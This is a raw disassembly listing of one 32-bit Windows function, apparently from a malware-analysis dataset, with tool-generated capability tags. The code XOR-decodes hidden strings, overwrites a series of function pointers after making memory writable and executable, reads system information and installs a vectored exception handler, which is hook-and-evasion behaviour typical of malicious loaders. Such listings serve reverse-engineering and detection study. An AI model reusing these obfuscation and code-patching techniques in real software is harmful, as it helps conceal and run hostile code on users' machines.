Function at 0x100168a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10020960
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x1002b018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0x29
xor eax, eax
mov dl, byte [eax + str._lco]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x2c], dl
jns 0x100168ef
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x19
jl 0x100168d2
mov byte [ebp - 0x13], 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [0x1015e494]
push eax
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x2c]
push edx
call eax
push eax
call fcn.10003030
xor ecx, ecx
or ebx, 0xffffffff
mov dword [ebp - 4], ebx
add esp, 8
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x14], cx
test al, al
je 0x10016e36
jmp 0x10016950
mov ecx, 0x5e
xor eax, eax
mov dl, byte [eax + 0x10025794]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x3c], dl
jns 0x10016974
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xe
jl 0x10016957
mov byte [ebp - 0x2e], 0
mov dword [ebp - 4], 1
mov ecx, dword [0x1015e494]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x3c]
push edx
call eax
cmp dword [eax], ebx
mov dword [ebp - 4], ebx
sete cl
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov word [ebp - 0x30], ax
mov byte [ebp - 0x2e], al
test cl, cl
je 0x100169be
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10016950
call fcn.100163a0
mov edi, 0x100b7018
lea esi, [ebp - 0x48]
call fcn.1001ac60
mov dword [ebp - 4], 2
mov ecx, dword [0x1015e494]
mov edx, dword [ecx]
push 0x100039d0
push eax
mov eax, dword [edx + 0x28]
call eax
mov ecx, 6
mov edx, eax
call fcn.10002d40
mov edi, 0x55f7e1c8
lea esi, [ebp - 0x48]
call fcn.1001abe0
mov dword [ebp - 4], 3
mov ecx, dword [0x1015e494]
mov edx, dword [ecx]
push 0x100039c0
push eax
mov eax, dword [edx + 0x28]
call eax
mov ecx, 5
mov edx, eax
call fcn.10002d40
mov dword [ebp - 4], ebx
call fcn.10009e10
test eax, eax
je 0x10016a3a
lea esi, [eax + 0x10]
jmp 0x10016a3c
xor esi, esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 0x4c]
push ecx
push 0x40
push 4
push esi
call ebx
mov eax, dword [ebp - 0x4c]
lea edx, [ebp - 0x50]
push edx
push eax
push 4
push esi
mov dword [esi], 0x10009ea0
call ebx
push 4
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call esi
mov edi, dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push eax
call edi
call fcn.10009e10
test eax, eax
je 0x10016a85
add eax, 0x3c
mov dword [ebp - 0x4c], eax
jmp 0x10016a8c
mov dword [ebp - 0x4c], 0
mov edx, dword [ebp - 0x4c]
lea ecx, [ebp - 0x50]
push ecx
push 0x40
push 4
push edx
call ebx
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x54]
push ecx
push edx
push 4
push eax
mov dword [eax], 0x10009ea0
call ebx
mov eax, dword [ebp - 0x4c]
push 4
push eax
call esi
push eax
call edi
call fcn.10009e10
test eax, eax
je 0x10016acc
add eax, 0x40
mov dword [ebp - 0x4c], eax
jmp 0x10016ad3
mov dword [ebp - 0x4c], 0
mov edx, dword [ebp - 0x4c]
lea ecx, [ebp - 0x50]
push ecx
push 0x40
push 4
push edx
call ebx
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x54]
push ecx
push edx
push 4
push eax
mov dword [eax], 0x10009ea0
call ebx
mov eax, dword [ebp - 0x4c]
push 4
push eax
call esi
push eax
call edi
call fcn.10009e10
test eax, eax
je 0x10016b13
add eax, 0x44
mov dword [ebp - 0x4c], eax
jmp 0x10016b1a
mov dword [ebp - 0x4c], 0
mov edx, dword [ebp - 0x4c]
lea ecx, [ebp - 0x50]
push ecx
push 0x40
push 4
push edx
call ebx
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x54]
push ecx
push edx
push 4
push eax
mov dword [eax], 0x10009ea0
call ebx
mov eax, dword [ebp - 0x4c]
push 4
push eax
call esi
push eax
call edi
call fcn.10009e10
test eax, eax
je 0x10016b5a
add eax, 0x48
mov dword [ebp - 0x4c], eax
jmp 0x10016b61
mov dword [ebp - 0x4c], 0
mov edx, dword [ebp - 0x4c]
lea ecx, [ebp - 0x50]
push ecx
push 0x40
push 4
push edx
call ebx
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x54]
push ecx
push edx
push 4
push eax
mov dword [eax], 0x10009ea0
call ebx
mov eax, dword [ebp - 0x4c]
push 4
push eax
call esi
push eax
call edi
call fcn.10009e10
test eax, eax
je 0x10016ba1
add eax, 0x4c
mov dword [ebp - 0x4c], eax
jmp 0x10016ba8
mov dword [ebp - 0x4c], 0
mov edx, dword [ebp - 0x4c]
lea ecx, [ebp - 0x50]
push ecx
push 0x40
push 4
push edx
call ebx
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x54]
push ecx
push edx
push 4
push eax
mov dword [eax], 0x10009ea0
call ebx
mov eax, dword [ebp - 0x4c]
push 4
push eax
call esi
push eax
call edi
call fcn.10009e10
test eax, eax
je 0x10016be8
add eax, 0x50
mov dword [ebp - 0x4c], eax
jmp 0x10016bef
mov dword [ebp - 0x4c], 0
mov edx, dword [ebp - 0x4c]
lea ecx, [ebp - 0x50]
push ecx
push 0x40
push 4
push edx
call ebx
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x54]
push ecx
push edx
push 4
push eax
mov dword [eax], 0x10009ea0
call ebx
mov eax, dword [ebp - 0x4c]
push 4
push eax
call esi
push eax
call edi
call fcn.10009e10
test eax, eax
je 0x10016c2f
add eax, 0x54
mov dword [ebp - 0x4c], eax
jmp 0x10016c36
mov dword [ebp - 0x4c], 0
mov edx, dword [ebp - 0x4c]
lea ecx, [ebp - 0x50]
push ecx
push 0x40
push 4
push edx
call ebx
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x54]
push ecx
push edx
push 4
push eax
mov dword [eax], 0x10009ea0
call ebx
mov eax, dword [ebp - 0x4c]
push 4
push eax
call esi
push eax
call edi
call fcn.10009e10
test eax, eax
je 0x10016c76
add eax, 0x58
mov dword [ebp - 0x4c], eax
jmp 0x10016c7d
mov dword [ebp - 0x4c], 0
mov edx, dword [ebp - 0x4c]
lea ecx, [ebp - 0x50]
push ecx
push 0x40
push 4
push edx
call ebx
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x54]
push ecx
push edx
push 4
push eax
mov dword [eax], 0x10009ea0
call ebx
mov eax, dword [ebp - 0x4c]
push 4
push eax
call esi
push eax
call edi
mov edi, str._lco
sub edi, 0x1e7b41dd
lea esi, [ebp - 0x2c]
call fcn.1001aba0
mov esi, eax
mov dword [ebp - 4], 4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [0x1015e494]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 0x28]
push esi
call eax
push eax
call fcn.100032d0
xor ecx, ecx
mov dword [ebp - 4], 0xffffffff
add esp, 8
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x14], cx
test al, al
je 0x10016e36
lea ecx, [ecx]
mov eax, 0x5e
xor esi, esi
mov cl, byte [esi + 0x10025794]
xor cl, al
inc eax
and eax, 0x800000ff
mov byte [ebp + esi - 0x3c], cl
jns 0x10016d32
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0xe
jl 0x10016d17
mov byte [ebp - 0x2e], 0
mov dword [ebp - 4], 5
mov ecx, dword [0x1015e494]
mov edx, dword [ecx]
mov edx, dword [edx + 0x28]
lea eax, [ebp - 0x3c]
push eax
call edx
cmp dword [eax], 8
sete cl
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov word [ebp - 0x30], ax
mov byte [ebp - 0x2e], al
test cl, cl
je 0x10016d80
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10016d10
mov eax, 0x5e
xor esi, esi
mov cl, byte [esi + 0x10025794]
xor cl, al
inc eax
and eax, 0x800000ff
mov byte [ebp + esi - 0x24], cl
jns 0x10016da2
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0xe
jl 0x10016d87
mov byte [ebp - 0x16], 0
mov dword [ebp - 4], 6
mov ecx, dword [0x1015e494]
mov edx, dword [ecx]
mov edx, dword [edx + 0x28]
lea eax, [ebp - 0x24]
push eax
call edx
cmp dword [eax], 9
sete cl
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov word [ebp - 0x18], ax
mov byte [ebp - 0x16], al
test cl, cl
je 0x10016ded
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10016d80
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edi, 0x101963e9
lea esi, [ebp - 0x2c]
call fcn.1001ad70
mov dword [ebp - 4], 7
mov edx, dword [ebp - 0x78]
lea ecx, [ebp - 0x58]
push ecx
mov ecx, dword [0x1015e494]
push pe_nt_image_headers32
push edx
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 0x28]
call eax
push eax
call ebx
push 0x10016670
push 1
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001dcc5
mov esp, ebp
pop ebp
ret